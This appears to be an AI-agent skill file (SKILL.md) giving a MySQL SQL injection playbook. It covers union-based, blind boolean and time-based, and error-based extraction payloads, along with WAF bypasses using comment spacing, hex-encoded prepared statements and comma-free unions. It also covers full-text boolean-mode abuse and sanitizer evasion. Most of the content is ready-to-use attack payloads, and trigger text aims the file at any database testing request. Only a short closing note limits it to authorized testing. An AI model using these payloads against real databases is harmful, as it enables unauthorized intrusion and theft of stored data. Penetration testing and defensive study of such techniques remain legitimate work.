Hacktricks-skills mysql-injection
MySQL SQL injection testing and exploitation. Use this skill whenever the user mentions SQL injection, MySQL database testing, database enumeration, WAF bypass, blind injection, union-based injection, error-based injection, or any database security testing against MySQL. Trigger for penetration testing, vulnerability assessment, or security research involving MySQL databases.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/sql-injection/mysql-injection/mysql-injection/SKILL.MDMySQL Injection Testing
A comprehensive guide for MySQL SQL injection testing, enumeration, and exploitation.
Quick Start
When testing for MySQL injection vulnerabilities, follow this workflow:
- Confirm MySQL - Use version detection functions
- Determine injection type - Error-based, blind, union-based, or time-based
- Enumerate database - Get tables, columns, and data
- Extract data - Use appropriate exfiltration technique
- Bypass WAF - Apply evasion techniques if needed
Confirm MySQL Database
Use these functions to confirm you're working with MySQL:
-- Basic confirmation concat('a','b') database() version() user() system_user() @@version @@datadir rand() floor(2.9) length(1) count(1)
Comments and Syntax
MySQL supports multiple comment styles for payload construction:
-- MYSQL Comment # MYSQL Comment /* MYSQL Comment */ /*! MYSQL Special SQL */ /*!32302 10*/ Comment for MySQL version 3.23.02
Detect Number of Columns
Use ORDER BY or UNION to determine column count:
-- ORDER BY method order by 1 order by 2 order by 3 -- Continue until error -- UNION method UniOn Select 1 UniOn Select 1,2 UniOn Select 1,2,3 -- Continue until column count matches
Union-Based Injection
Once you know the column count, use UNION to extract data:
-- Get all databases UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata -- Get tables from current database UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=database() -- Get columns from specific table UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name='<TABLE_NAME>' -- Extract data from table UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+<TABLE_NAME>
Blind Injection Techniques
Boolean-Based Blind
Test conditions that return true/false:
-- Character by character extraction substr(version(),X,1)='r' substring(version(),X,1)=0x70 ascii(substr(version(),X,1))=112 mid(version(),X,1)='5' -- String comparison SELECT database()=char(114,101,120,116,101,115,116,101,114) SELECT substr(database(),1,1)='r' SELECT substring(database(),1,1)=0x72
Time-Based Blind
Use SLEEP or BENCHMARK for timing oracles:
-- Simple sleep SLEEP(5) -- Conditional sleep IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)) -- Version detection with timing IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))
Error-Based Exfiltration
Extract data through error messages:
-- UPDATXML error-based updatexml(null, concat(0x7e, IFNULL((SELECT name FROM project_state LIMIT 1 OFFSET 0), 'NULL'), 0x7e, '///'), null) -- Extract character by character with LIMIT/OFFSET updatexml(null, concat(0x7e, (SELECT SUBSTRING(version(),1,1)), 0x7e), null)
Database Enumeration Flow
-- Get all tables in current database SELECT table_name FROM information_schema.tables WHERE table_schema=database(); -- Get columns from specific table SELECT column_name FROM information_schema.columns WHERE table_name='<TABLE_NAME>'; -- Extract data SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; -- Find users with file privileges SELECT user FROM mysql.user WHERE file_priv='Y';
Modern MySQL Alternatives
For newer MySQL versions, use these alternatives to bypass WAFs:
-- Instead of information_schema.tables mysql.innodb_table_stats sys.x$schema_flattened_keys sys.schema_table_statistics
WAF Bypass Techniques
Space Removal with Comments
Use
/**/ to replace spaces (MySQL treats it as whitespace):
GET /api/fabric/device/status HTTP/1.1 Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'``` This becomes: `' OR SLEEP(5)-- -'` ### Prepared Statement Bypass Execute queries through prepared statements to bypass WAFs: ```sql 0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
Injection Without Commas
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
Retrieving Values Without Column Names
-- Determine column count select (select "", "") = (SELECT * from demo limit 1); -- 2 columns select (select "", "", "") < (SELECT * from demo limit 1); -- 3 columns -- Brute force content character by character select (select 1, 'flaf') = (SELECT * from demo limit 1);
Full-Text Search Boolean Mode Abuse
When applications use
MATCH(col) AGAINST('...' IN BOOLEAN MODE), you can abuse Boolean operators:
Operators Available
- Must include+
- Must not include-
- Trailing wildcard*
- Exact phrase"..."
- Grouping()
/<
/>
- Weights~
Exploitation Pattern
-- Check for terms starting with prefix AGAINST('+admin*' IN BOOLEAN MODE) -- URL-encoded payload template keywords=%26%26%26%26%26+%2B{FUZZ}*xD
Enumeration Workflow
- Test
with{FUZZ} = a…z,0…9
,+a*
, etc.+b* - For positive prefixes, branch:
a* → aa* / ab* / … - Repeat to recover full strings
- Treat redirects as "match", error pages as "no match"
Sanitizer Bypass
- Boundary-trim preserving: Submit
- cleaner trimsprefix*ZZ
but leavesZZ* - Early-break stripping: Send
- first token meets length threshold, second carries payload&&&&& +jack*ZZ
Useful Functions Reference
-- Encoding/decoding SELECT hex(database()) SELECT conv(hex(database()),16,10) -- Hexadecimal -> Decimal SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD') SELECT uncompress(compress(database())) -- String manipulation SELECT replace(database(),"r","R") SELECT substr(database(),1,1) SELECT substring(database(),1,1)=0x72 SELECT ascii(substring(database(),1,1))=114 -- Aggregation SELECT group_concat(<COLUMN>) FROM <TABLE> SELECT group_concat(if(strcmp(table_schema,database()),table_name,null)) SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END) -- Comparison and position strcmp(),mid(),ldap(),rdap(),left(),right(),instr(),sleep()
Version Detection Alternatives
select @@innodb_version; select @@version; select version();
MySQL History
View executed queries:
SELECT * FROM sys.x$statement_analysis;
Important Notes
- Prepared statements don't protect against semantic abuse of REGEXP or search operators
- Boolean mode abuse works even with prepared statements - operators are evaluated inside quotes
- WAF bypass often requires combining multiple techniques
- Timing attacks are reliable when other methods are blocked
- Error messages can leak data even in "boolean" test scenarios
Safety and Ethics
- Only test systems you have explicit authorization to test
- Document all findings for responsible disclosure
- Use these techniques for security research and authorized penetration testing only
- Be aware of legal implications in your jurisdiction